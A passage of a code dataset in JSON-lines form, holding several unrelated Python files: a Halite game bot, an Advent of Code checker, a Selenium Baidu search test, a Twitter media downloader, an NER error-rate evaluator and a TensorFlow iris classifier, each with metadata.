blocked[processPoint.x][processPoint.y]:\n self.next[processPoint.x][processPoint.y] = 1\n return self.directionTo(sPos,processPoint)\n self.next[sPos.x][sPos.y] = 1\n return None\n\n # Path reconstruction\n while pred[t] != sPos:\n t = pred[t]\n\n desired = self.directionTo(sPos,t)\n self.next[t.x][t.y] = 1\n # Swapping\n if calc.ally[t.x][t.y]:\n self.next[t.x][t.y] = 1\n pass\n \n return desired\n\nclass Calculator:\n\n def __init__(self, board: Board):\n self.CFG = board.configuration\n self.me = board.current_player_id\n print(self.me)\n self.playerNum = len(board.players)\n\n def update(self, board: Board):\n # Updates\n self.board = board\n\n # Encoding\n self.encode()\n\n # Calculate\n self.haliteMean = np.mean(self.haliteMap, axis=None)\n self.ally = self.shipMap[self.me]\n self.allyShipyard = self.shipyardMap[self.me]\n self.enemy = np.sum(self.shipMap, axis=0) - self.ally\n self.enemyShipyard = np.sum(self.shipyardMap, axis=0) - self.allyShipyard\n self.enemyShipHaliteMap()\n\n # Encodes halite and units to matrices\n def encode(self) -> dict:\n # Map\n self.haliteMap = np.zeros((self.CFG.size, self.CFG.size))\n self.shipMap = np.zeros((self.playerNum, self.CFG.size, self.CFG.size))\n self.shipyardMap = np.zeros((self.playerNum, self.CFG.size, self.CFG.size))\n for cell in self.board.cells.values():\n self.haliteMap[cell.position.x][cell.position.y] = cell.halite\n for ship in self.board.ships.values():\n self.shipMap[ship.player_id][ship.position.x][ship.position.y] = 1\n for shipyard in self.board.shipyards.values():\n self.shipyardMap[shipyard.player_id][shipyard.position.x][shipyard.position.y] = 1\n\n # TODO: Add encoding for individual ships and yards (not necessary now)\n \n # Calculations\n \n def enemyShipHaliteMap(self):\n self.enemyShipHalite = np.zeros((self.CFG.size, self.CFG.size))\n self.enemyShipHalite += np.Infinity\n for ship in self.board.ships.values():\n if ship.player_id != self.me:\n self.enemyShipHalite[ship.position.x][ship.position.y] = ship.halite\n\n def controlMap(self): # TODO: rename or refactor\n # TODO: Consider enemyShipHalite and shipyards\n self.controlMap = self.ally - self.enemy\n # TODO: avg pooling\n \n \n\n# %% [markdown]\n# # Agent\n\n# %%\ndef cost(ship, cell):\n # TODO: much to improve\n # We can probably RL this\n cfg = environment.configuration\n haliteCoef = cfg.size / cfg.maxCellHalite\n return nav.dist(ship.position, cell.position) - haliteCoef * cell.halite\n\n@board_agent\ndef agent(board):\n global nav, calc\n\n if board.step == 0:\n init = True\n nav = Navigation(board)\n calc = Calculator(board)\n\n # Process map\n calc.update(board)\n nav.update()\n ships = board.current_player.ships\n shipyards = board.current_player.shipyards\n\n # Decide tasks \n # (priority,ship,targetLocation, type)\n action = {}\n miningCells = calc.haliteMap\n\n # Terrible mining algorithm, should probably come up with something entirely new\n assign = []\n for i, ship in enumerate(ships):\n if ship.cell.halite >= calc.haliteMean:\n action[ship] = (900,ship,ship.cell.position,\"mining\")\n else:\n if ship.halite > 500 and len(shipyards) > 0:\n action[ship] = (1000,ship,shipyards[0].position,\"return\")\n else:\n assign.append(ship)\n\n miningCells = np.argpartition(miningCells, -len(assign),axis=None)[-len(assign):]\n miningCells = miningCells.tolist()\n miningCells = [board.cells[nav.unpack(i)] for i in miningCells]\n\n costMatrix = np.array([[cost(ship, cell) for ship in assign] for cell in miningCells])\n tasks, _ = linear_sum_assignment(costMatrix)\n for i, ship in enumerate(assign):\n action[ship] = (500-cost(ship,miningCells[tasks[i]]),ship,miningCells[tasks[i]].position,\"mining\")\n\n\n # Action process\n action = list(action.values())\n action.sort(reverse=True,key=lambda x : x[0])\n for i in action:\n i[1].next_action = nav.safeMoveTo(i[1],i[2])\n\n if len(shipyards) == 0:\n ships[0].next_action = ShipAction.CONVERT\n for shipyard in shipyards:\n if shipyard.cell.ship is None and not nav.next[shipyard.cell.position.x][shipyard.cell.position.y]:\n shipyard.next_action = ShipyardAction.SPAWN\n\n# %% [markdown]\n# # Run\n", "sub_path": "old/py/bot0.2.py", "file_name": "bot0.2.py", "file_ext": "py", "file_size_in_byte": 11385, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "kaggle_environments.make", "line_number": 23, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 157, "usage_type": "call"}, {"api_name": "queue.PriorityQueue", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 247, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.Infinity", "line_number": 270, "usage_type": "attribute"}, {"api_name": "numpy.argpartition", "line_number": 324, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 328, "usage_type": "call"}, {"api_name": "scipy.optimize.linear_sum_assignment", "line_number": 329, "usage_type": "call"}]} +{"seq_id": "113595191", "text": "import json\nfrom time import time\n\nwith open(\"solutions.json\") as fp:\n solutions = json.load(fp)\n\ndef check(day):\n with open(f\"days/day{day}.txt\") as fp:\n data = [x.strip() for x in fp.readlines()]\n with open(f\"days/day{day}.py\") as fp:\n new_globals = globals().copy()\n exec(fp.read(), new_globals)\n impls = new_globals[\"implementations\"]\n if len(impls) == 1:\n print(f\"\\033[1mDay {day}: 1 implementation found.\\033[0m\")\n else:\n print(f\"\\033[1mDay {day}: {len(impls)} implementations found.\\033[0m\")\n s_1, s_2 = solutions[day - 1]\n for i, impl in enumerate(impls):\n t = time()\n p_1, p_2 = impl(data)\n dt = time() - t\n count = int(0.5 / (dt + 0.01)) + 1\n total = 0\n for _ in range(count):\n t = time()\n impl(data)\n dt = time() - t\n total += dt\n mean = total / count\n print(f\"Implementation {i + 1} took {mean:.3} s:\")\n if p_1 == s_1:\n print(f\"- Part 1 \\033[32;40;1mpassed\\033[0m (got {p_1})\")\n else:\n print(f\"- Part 1 \\033[31;40;1mfailed\\033[0m (expected {s_1}, got {p_1})\")\n if p_2 == s_2:\n print(f\"- Part 2 \\033[32;40;1mpassed\\033[0m (got {p_2})\")\n else:\n print(f\"- Part 2 \\033[31;40;1mfailed\\033[0m (expected {s_2}, got {p_2})\")\n\nday = input(\"Day to solve (omit to solve all): \").strip()\n\nif not day:\n try:\n for i in range(25):\n check(i + 1)\n except FileNotFoundError:\n print(\"No more days found.\")\nelse:\n check(int(day))", "sub_path": "aoc.py", "file_name": "aoc.py", "file_ext": "py", "file_size_in_byte": 1694, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "json.load", "line_number": 5, "usage_type": "call"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "time.time", "line_number": 26, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}]} +{"seq_id": "431603903", "text": "# -*- coding: utf-8 -*-\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import NoAlertPresentException\nimport unittest, time, re # 导入模块\n\n# 初始化\nclass BaiduTest(unittest.TestCase): \n\tdef setUp(self):\n\t\tself.driver = webdriver.Chrome() # 浏览器\n\t\tself.driver.implicitly_wait(30) # 隐形等待时间\n\t\tself.base_url = \"https://www.baidu.com/\" # 路由\n\t\tself.vertificationErrors = [] # 脚步运行的错误信息数组\n\t\tself.accept_next_alert = True # 是否接受下一个弹窗\n\n\tdef test_baidu(self):\n\t\tdriver = self.driver\n\t\tdriver.get(self.base_url + \"/\")\n\t\tdriver.find_element_by_id(\"kw\").clear()\n\t\tdriver.find_element_by_id(\"kw\").send_keys(\"selenium ide\")\n\t\tdriver.find_element_by_id(\"su\").click()\n\n\tdef is_element_present(self, how, what): # how-定位方法， what-定位值\n\t\ttry: # 异常处理\n\t\t\tself.driver.find_element_by_id(by=how, value=what)\n\t\texcept NoSuchElementException:\n\t\t\treturn False\n\t\treturn True\n\n\tdef is_alert_present(self):\n\t\ttry:\n\t\t\tself.driver.switch_to_alter() # 捕捉窗口的alert弹窗\n\t\texcept NoAlertPresentException:\n\t\t\treturn False\n\t\treturn True\n\n\tdef close_alter_and_get_its_text(self):\n\t\ttry:\n\t\t\talert = self.driver.switch_to_alter()\n\t\t\talert_text = alert.text # 获取当前页面的警告提示信息\n\t\t\tif self.accept_next_alert:\n\t\t\t\talert.accept()\n\t\t\telse:\n\t\t\t\talert.dismiss()\n\t\t\treturn alert_text\n\t\tfinally:\n\t\t\tself.accept_next_alert = True\n\n\tdef tearDown(self): # 清理工作\n\t\tself.driver.quit() # 退出浏览器\n\t\tself.assertEqual([], self.vertificationErrors)\n\nif __name__ == \"__main__\":\n\tunittest.main()", "sub_path": "10baidu.py", "file_name": "10baidu.py", "file_ext": "py", "file_size_in_byte": 1796, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "unittest.TestCase", "line_number": 11, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 13, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 13, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoSuchElementException", "line_number": 29, "usage_type": "name"}, {"api_name": "selenium.common.exceptions.NoAlertPresentException", "line_number": 36, "usage_type": "name"}, {"api_name": "unittest.main", "line_number": 57, "usage_type": "call"}]} +{"seq_id": "323364191", "text": "# coding:utf-8\n\nfrom requests_oauthlib import OAuth1Session\nfrom configparser import ConfigParser\nfrom time import sleep\nimport json\nimport os\nimport sys\nimport urllib\nimport Consts\n\n\ncounter_image = 0\ncounter_video = 0\nroot_image = \"images/\"\nroot_video = \"videos/\"\npage_size = 200\n\ncfg = ConfigParser()\ncfg.read(Consts.configFile)\ntoken = cfg[\"token\"]\nscreen_name = cfg[\"account\"][\"screen_name\"]\noath_keys = {\n \"consumer_key\": token[Consts.CK],\n \"cousumer_secret\": token[Consts.CS],\n \"access_token\": token[Consts.AT],\n \"access_token_secret\": token[Consts.ATS]\n}\n\n\ndef craete_oath_session():\n return OAuth1Session(\n token[Consts.CK],\n token[Consts.CS],\n token[Consts.AT],\n token[Consts.ATS]\n )\n\n\n\"\"\"\nTweetをとってくるメソッドの\n\"\"\"\n\n\ndef access_api(url, params):\n sleep(1)\n oath = craete_oath_session()\n res = oath.get(url, params=params)\n if res.status_code != 200:\n print(\"Error : {0}\".format(res.status_code))\n return None\n return json.loads(res.text)\n\n\n\"\"\"\nブロックしているユーザーのリストをとってくる\n\"\"\"\n\n\ndef get_block_list(skip_status=True, cursor=-1):\n url = \"https://api.twitter.com/1.1/blocks/ids.json\"\n params = {\n \"skip_status\": skip_status,\n \"cursor\": cursor\n }\n oath = craete_oath_session()\n res = oath.get(url, params=params)\n if res.status_code != 200:\n print(\"Error : {0}\".format(res.status_code))\n return None\n return json.loads(res.text)\n\n\n\"\"\"\nユーザーの情報をとってくる\n\"\"\"\n\n\ndef get_user_info(id, include_entities=False):\n url = \"https://api.twitter.com/1.1/users/show.json\"\n params = {\n \"user_id\": id,\n \"include_entities\": include_entities\n }\n return access_api(url, params)\n\n\n\"\"\"\nユーザーidからツイートをとってくる\n\"\"\"\n\n\ndef get_tweet(id):\n url = \"https://api.twitter.com/1.1/statuses/show.json\"\n params = {\n \"id\": id,\n \"include_entities\": 1,\n \"tweet_mode\": \"extended\"\n }\n return access_api(url, params)\n\n\n\"\"\"\nユーザーのtweetリストをとってくる\n\"\"\"\n\n\ndef get_user_timeline(page, screen_name):\n url = \"https://api.twitter.com/1.1/statuses/user_timeline.json\"\n params = {\n \"screen_name\": screen_name,\n \"page\": page,\n \"count\": page_size,\n \"include_entities\": 1,\n \"tweet_mode\": \"extended\"\n }\n return access_api(url, params)\n\n\n\"\"\"\nユーザーのfav画像をとってくる\n\"\"\"\n\n\ndef get_favorite_tweets(page, screen_name):\n url = \"https://api.twitter.com/1.1/favorites/list.json?\"\n params = {\n \"screen_name\": screen_name,\n \"page\": page,\n \"count\": page_size,\n \"include_entities\": 1,\n \"tweet_mode\": \"extended\"\n }\n return access_api(url, params)\n\n\n\"\"\"\nTwitterのtweetリストから画像と動画を保存する\nすでにあるものは無視\n\"\"\"\n\n\ndef save_media(save_account, tweets):\n global counter_image # 保存した画像の数\n global counter_video # 保存した動画の数\n for tw in tweets: # 全ツイートを処理\n try:\n media = tw[\"extended_entities\"][\"media\"] # 画像・動画オブジェクトの取得\n for media_path in media:\n if media_path[\"type\"] == \"photo\": # 画像の時\n save_path = \"./\" + save_account + \"/\" + \\\n root_image + tw[\"user\"][\"screen_name\"]\n # ツイート主用のディレクトリがなければ作成\n os.makedirs(save_path, exist_ok=True)\n url = media_path[\"media_url\"]\n url_large = url + \":large\"\n save_file_path = save_path + \"/\" + os.path.basename(url)\n if os.path.exists(save_file_path):\n print(\"skip image : {url}\".format(url=save_file_path))\n break\n with open(save_file_path, \"wb\") as f:\n img = urllib.request.urlopen(\n url_large, timeout=20).read()\n f.write(img)\n counter_image += 1\n print(\"saved image [{num: 4d}] : {url}\".format(\n num=counter_image, url=save_file_path))\n\n elif media_path[\"type\"] == \"video\" or media_path[\"type\"] == \"animated_gif\": # 動画の時\n save_path = \"./\" + save_account + \"/\" + \\\n root_video + tw[\"user\"][\"screen_name\"]\n # ツイート主用のディレクトリがなければ作成\n os.makedirs(save_path, exist_ok=True)\n # 動画の中でbitrateが最大のmp4動画のurlを得る\n url = max([i for i in media_path[\"video_info\"][\"variants\"]\n if i[\"content_type\"] == \"video/mp4\"], key=lambda e: e[\"bitrate\"])[\"url\"]\n # 保存URLの生成 パラメータ削除\n save_file_path = (save_path + \"/\" +\n os.path.basename(url)).split(\"?\")[0]\n if os.path.exists(save_file_path):\n print(\"skip video : {url}\".format(url=save_file_path))\n break\n with open(save_file_path, \"wb\") as f:\n vdo = urllib.request.urlopen(url, timeout=180).read()\n f.write(vdo)\n counter_video += 1\n print(\"saved video [{num: 4d}] : {url}\".format(\n num=counter_video, url=save_file_path))\n\n except (KeyError, ValueError)as e:\n pass\n\n except urllib.error.HTTPError:\n with open(\"Error.txt\", \"a\") as f:\n f.write(\"HTTP error : \" + url)\n\n\n\"\"\"\n指定のユーザーのfavTweetをとってきて\nメディアを保存するメソッドに投げる\n\"\"\"\n\n\ndef get_medias(end):\n for i in range(0, end):\n for j in screen_name.split(\",\"):\n save_media(j, get_favorite_tweets(i+1, j))\n print(\"saved {num} images\".format(num=counter_image))\n print(\"saved {num} videos\".format(num=counter_video))\n\n\ndef update_profile(description, name):\n url = \"https://api.twitter.com/1.1/account/update_profile.json?\"\n params = {\n \"name\": name,\n \"description\": description\n }\n oath = craete_oath_session()\n res = oath.post(url, params=params)\n if res.status_code != 200:\n print(\"Error : {0}\".format(res.status_code))\n return None\n return json.loads(res.text)\n", "sub_path": "TwitterAPI.py", "file_name": "TwitterAPI.py", "file_ext": "py", "file_size_in_byte": 6626, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "configparser.ConfigParser", "line_number": 19, "usage_type": "call"}, {"api_name": "Consts.configFile", "line_number": 20, "usage_type": "attribute"}, {"api_name": "Consts.CK", "line_number": 24, "usage_type": "attribute"}, {"api_name": "Consts.CS", "line_number": 25, "usage_type": "attribute"}, {"api_name": "Consts.AT", "line_number": 26, "usage_type": "attribute"}, {"api_name": "Consts.ATS", "line_number": 27, "usage_type": "attribute"}, {"api_name": "requests_oauthlib.OAuth1Session", "line_number": 32, "usage_type": "call"}, {"api_name": "Consts.CK", "line_number": 33, "usage_type": "attribute"}, {"api_name": "Consts.CS", "line_number": 34, "usage_type": "attribute"}, {"api_name": "Consts.AT", "line_number": 35, "usage_type": "attribute"}, {"api_name": "Consts.ATS", "line_number": 36, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 46, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 52, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 71, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path", "line_number": 157, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path", "line_number": 158, "usage_type": "attribute"}, {"api_name": "urllib.request.urlopen", "line_number": 162, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 162, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 180, "usage_type": "call"}, {"api_name": "os.path", "line_number": 180, "usage_type": "attribute"}, {"api_name": "urllib.request.urlopen", "line_number": 184, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 184, "usage_type": "attribute"}, {"api_name": "urllib.error", "line_number": 193, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 223, "usage_type": "call"}]} +{"seq_id": "492024309", "text": "import re\nimport Levenshtein\n\n# PER '|' , LOC '$' , ORG '{'\n\ndef get_cer(tar, pred):\n for x in '$|{]':\n tar.replace(x, '')\n pred.replace(x, '')\n\n return Levenshtein.distance(tar, pred), len(tar)\n\n\ndef get_ne_cer(tar, pred):\n distance = 0\n length = 0\n\n for t, p in zip(tar, pred):\n t = t.replace(' ', '')\n p = p.replace(' ', '')\n\n if len(tar) == len(pred):\n for t, p in zip(tar, pred):\n distance += Levenshtein.distance(t, p)\n length += len(t)\n\n elif len(tar) < len(pred):\n for t in tar:\n distance += min(map(lambda x: Levenshtein.distance(t, x), pred))\n length += len(t)\n\n elif len(tar) > len(pred):\n for p in pred:\n candidates = list(map(lambda x: Levenshtein.distance(p, x), tar))\n optimal = min(candidates)\n distance += optimal\n length += len(tar[candidates.index(optimal)])\n\n return distance, length\n\n\ndef get_f1_precision(tar, pred):\n if len(pred) == 0:\n return 0, 0\n if len(tar) == 0:\n return 0, len(pred)\n\n count = 0\n for p in pred:\n if min(map(lambda x: Levenshtein.distance(p, x), tar)) <= 1:\n count += 1\n\n return count, len(pred)\n\n\ndef get_f1_recall(tar, pred):\n if len(pred) == 0:\n return 0, len(tar)\n if len(tar) == 0:\n return 0, 0\n\n count = 0\n for t in tar:\n if min(map(lambda x: Levenshtein.distance(t, x), pred)) <= 1:\n count += 1\n\n return count, len(tar)\n\n\n# ---------- read data -----------\nf = open(\"E2E/TEST/true_transcripts.txt\", 'rt', encoding=\"cp949\")\nf2 = open(\"E2E/TEST/predictions.txt\", 'rt', encoding=\"utf8\")\n\ntargets = f.readlines()\npredictions = f2.readlines()\n\npredictions = [line.split('\\t')[1] for i, line in enumerate(predictions) if line.split('\\t')[0] == targets[i]]\n\n# ---------- statistics ----------\n\n# CER\ntotal_distance = 0\ntotal_length = 0\n\nne_distance = 0\nne_length = 0\n\nper_distance = 0\nper_length = 0\n\nloc_distance = 0\nloc_length = 0\n\norg_distance = 0\norg_length = 0\n\nper_cnt = 0\nloc_cnt = 0\norg_cnt = 0\n\n# F1\nprecision_cnt = 0\nprecision_len = 0\nrecall_cnt = 0\nrecall_len = 0\n\nper_precision_cnt = 0\nper_precision_len = 0\nper_recall_cnt = 0\nper_recall_len = 0\n\nloc_precision_cnt = 0\nloc_precision_len = 0\nloc_recall_cnt = 0\nloc_recall_len = 0\n\norg_precision_cnt = 0\norg_precision_len = 0\norg_recall_cnt = 0\norg_recall_len = 0\n\nfor target, prediction in zip(targets, predictions):\n # -------------- check CER ---------------\n PER = re.findall('\\|.*?(\\n|]| .*? )', target)\n LOC = re.findall('\\$.*?(\\n|]| .*? )', target)\n ORG = re.findall('\\{.*?(\\n|]| .*? )', target)\n\n P_PER = re.findall('\\|.*?(\\n|]| .*? )', prediction)\n P_LOC = re.findall('\\$.*?(\\n|]| .*? )', prediction)\n P_ORG = re.findall('\\{.*?(\\n|]| .*? )', prediction)\n\n dist, length = get_cer(target, prediction)\n total_distance += dist\n total_length += length\n\n dist, length = get_ne_cer(PER + LOC + ORG, P_PER + P_LOC + P_ORG)\n ne_distance += dist\n ne_length += length\n\n dist, length = get_ne_cer(PER, P_PER)\n per_distance += dist\n per_length += length\n\n dist, length = get_ne_cer(LOC, P_LOC)\n loc_distance += dist\n loc_length += length\n\n dist, length = get_ne_cer(ORG, P_ORG)\n org_distance += dist\n org_length += length\n\n per_cnt += len(P_PER)\n loc_cnt += len(P_LOC)\n org_cnt += len(P_ORG)\n\n # --------------- check F1 ---------------\n p_cnt, p_len = get_f1_precision(PER + LOC + ORG, P_PER + P_LOC + P_ORG)\n r_cnt, r_len = get_f1_recall(PER + LOC + ORG, P_PER + P_LOC + P_ORG)\n precision_cnt += p_cnt\n precision_len += p_len\n recall_cnt += r_cnt\n recall_len += r_len\n print('***')\n print(recall_cnt)\n print(recall_len)\n\n per_p_cnt, per_p_len = get_f1_precision(PER, P_PER)\n per_r_cnt, per_r_len = get_f1_recall(PER, P_PER)\n per_precision_cnt += per_p_cnt\n per_precision_len += per_p_len\n per_recall_cnt += per_r_cnt\n per_recall_len += per_r_len\n\n loc_p_cnt, loc_p_len = get_f1_precision(LOC, P_LOC)\n loc_r_cnt, loc_r_len = get_f1_recall(LOC, P_LOC)\n loc_precision_cnt += loc_p_cnt\n loc_precision_len += loc_p_len\n loc_recall_cnt += loc_r_cnt\n loc_recall_len += loc_r_len\n\n org_p_cnt, org_p_len = get_f1_precision(ORG, P_ORG)\n org_r_cnt, org_r_len = get_f1_recall(ORG, P_ORG)\n org_precision_cnt += org_p_cnt\n org_precision_len += org_p_len\n org_recall_cnt += org_r_cnt\n org_recall_len += org_r_len\n\nprint('------------------TEST RESULTS-------------------')\nprint('validation set size: {:d}'.format(len(targets)))\n\nprint('\\ntotal CER: {:.3f}'.format(total_distance / total_length))\n\nprint('\\n-- tags: {:d}'.format(per_cnt + loc_cnt + org_cnt))\nprint('named-entity CER: {:.3f}'.format(ne_distance / ne_length))\n\nprecision = precision_cnt / precision_len\nrecall = recall_cnt / recall_len\nprint('\\nF1 score: {:.3f}'.format(2 * precision * recall / (precision + recall)))\nprint('precision: {:.3f}'.format(precision))\nprint('recall: {:.3f}'.format(recall))\n\nprint('\\n-- PER tags: {:d}'.format(per_cnt))\nif per_cnt > 0:\n per_precision = per_precision_cnt / per_precision_len\n per_recall = per_recall_cnt / per_recall_len\n print('PER tag CER: {:.3f}'.format(per_distance / per_length))\n print('\\nPER F1 score: {:.3f}'.format(2 * per_precision * per_recall / (per_precision + per_recall)))\n print('PER precision: {:.3f}'.format(per_precision))\n print('PER recall: {:.3f}'.format(per_recall))\n\nprint('\\n-- LOC tags: {:d}'.format(loc_cnt))\nif loc_cnt > 0:\n loc_recall = loc_recall_cnt / loc_recall_len\n loc_precision = loc_precision_cnt / loc_precision_len\n print('LOC tag CER: {:.3f}'.format(loc_distance / loc_length))\n print('\\nLOC F1 score: {:.3f}'.format(2 * loc_precision * loc_recall / (loc_precision + loc_recall)))\n print('LOC precision: {:.3f}'.format(loc_precision))\n print('LOC recall: {:.3f}'.format(loc_recall))\n\nprint('\\n-- ORG tags: {:d}'.format(org_cnt))\nif org_cnt > 0:\n org_precision = org_precision_cnt / org_precision_len\n org_recall = org_recall_cnt / org_recall_len\n print('ORG tag CER: {:.3f}'.format(org_distance / org_length))\n print('\\nORG F1 score: {:.3f}'.format(2 * org_precision * org_recall / (org_precision + org_recall)))\n print('ORG precision: {:.3f}'.format(org_precision))\n print('ORG recall: {:.3f}'.format(org_recall))\n", "sub_path": "TEST.py", "file_name": "TEST.py", "file_ext": "py", "file_size_in_byte": 6421, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "Levenshtein.distance", "line_number": 11, "usage_type": "call"}, {"api_name": "Levenshtein.distance", "line_number": 24, "usage_type": "call"}, {"api_name": "Levenshtein.distance", "line_number": 29, "usage_type": "call"}, {"api_name": "Levenshtein.distance", "line_number": 34, "usage_type": "call"}, {"api_name": "Levenshtein.distance", "line_number": 50, "usage_type": "call"}, {"api_name": "Levenshtein.distance", "line_number": 64, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 124, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 125, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 126, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 128, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 129, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 130, "usage_type": "call"}]} +{"seq_id": "644235062", "text": "# 다중분류\n# iris 코드를 완성하시오\n\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nimport tensorflow.compat.v1 as tf\ntf.disable_v2_behavior() #2.0기능 없애기\ntf.compat.v1.disable_eager_execution()\n# 1. 데이터\niris = load_iris()\nx_data = iris.data\ny_data = iris.target\n# print(x_data.shape) # (150, 4)\n# print(y_data.shape) # (150, )\n# print(y_data) # 0,1,2 3개분류\n\n# 1-1. y데이터 원핫인코딩\nsess = tf.Session()\ny_data = tf.one_hot(y_data, depth=3).eval(session=sess)\n# print(y_data.shape) # (150, 3)\ny_data = y_data.reshape(-1, 3)\n\n# 1-2. train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x_data, y_data, random_state=88, train_size=0.8)\n# print(\"x_train, x_test\", x_)\n# print(x_test.shape)\n# print(y_train.shape)\n# print(y_test.shape)\n\n# 1-3. feed_dict에 feed 될 텐서를 위한 placeholder 설정\nx = tf.placeholder(tf.float32, shape=[None, 4])\ny = tf.placeholder(tf.float32, shape=[None, 3])\n\n# 2. 모델 구성\nw = tf.Variable(tf.random_normal([4, 3]), name='weight')\n# y 컬럼이 3개이기 때문에 shape를 3으로 맞춰줘야함\nb = tf.Variable(tf.random_normal([3]), name='bias')\n\n# keras110_9_softmax.py 원그래프 참조. 합쳐서 1이 나오게 변경\nh = tf.nn.softmax(tf.matmul(x, w) + b)\n# print(\"h: \", h)\n# h: Tensor(\"Softmax:0\", shape=(?, 3), dtype=float32)\n\n# 2-1. cost 손실함수(categorical_crossentropy) 정의\nloss = tf.reduce_mean(-tf.reduce_sum(y * tf.log(h), axis=1))\n\n# 2-2. loss를 최소화하는 옵티마이저 정의\nopt = tf.train.GradientDescentOptimizer(learning_rate=2e-2).minimize(loss)\n\n# 3. 훈련\n# 각 session에 컨텍스트 매니저가 있어서 with 구문 끝에서 자동으로 close()가 호출\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n for step in range(2001):\n _, h_val, cost_val = sess.run([opt, h, loss], feed_dict={x: x_train, y: y_train})\n\n if step % 200 == 0:\n print(step, \"cost_val: \", cost_val)\n # 0 cost_val: 6.311684\n # 200 cost_val: 0.4222794\n # 400 cost_val: 0.34365538\n # 600 cost_val: 0.3002386\n # 800 cost_val: 0.26958433\n # 1000 cost_val: 0.24620421\n # 1200 cost_val: 0.2276606\n # 1400 cost_val: 0.21256508\n # 1600 cost_val: 0.20003031\n # 1800 cost_val: 0.18945326\n # 2000 cost_val: 0.18040702\n\n # tf.argmax(h,1)==h의 1(행)을 기준으로 최대값과 tf.argmax(y,1)==y의 1(행)을 기준으로 최대값이 같은 것을 pred로 지정\n pred = tf.equal(tf.argmax(h, 1), tf.argmax(y, 1))\n\n # pred와 y를 실수형으로 캐스팅해서 차원을 제거한 후 평균으로 acc 구하기\n acc = tf.reduce_mean(tf.cast(pred, dtype=tf.float32))\n print(\"Acc: \", sess.run(acc, feed_dict={x: x_test, y: y_test}))\n", "sub_path": "tf/tf12_iris.py", "file_name": "tf12_iris.py", "file_ext": "py", "file_size_in_byte": 2959, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "tensorflow.compat.v1.disable_v2_behavior", "line_number": 9, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 9, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.compat.v1.disable_eager_execution", "line_number": 10, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.compat", "line_number": 10, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1", "line_number": 10, "usage_type": "name"}, {"api_name": "sklearn.datasets.load_iris", "line_number": 12, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 20, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 20, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.one_hot", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 21, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 33, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.float32", "line_number": 33, "usage_type": "attribute"}, {"api_name": "tensorflow.compat.v1.placeholder", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1", "line_number": 34, "usage_type": "name"}, 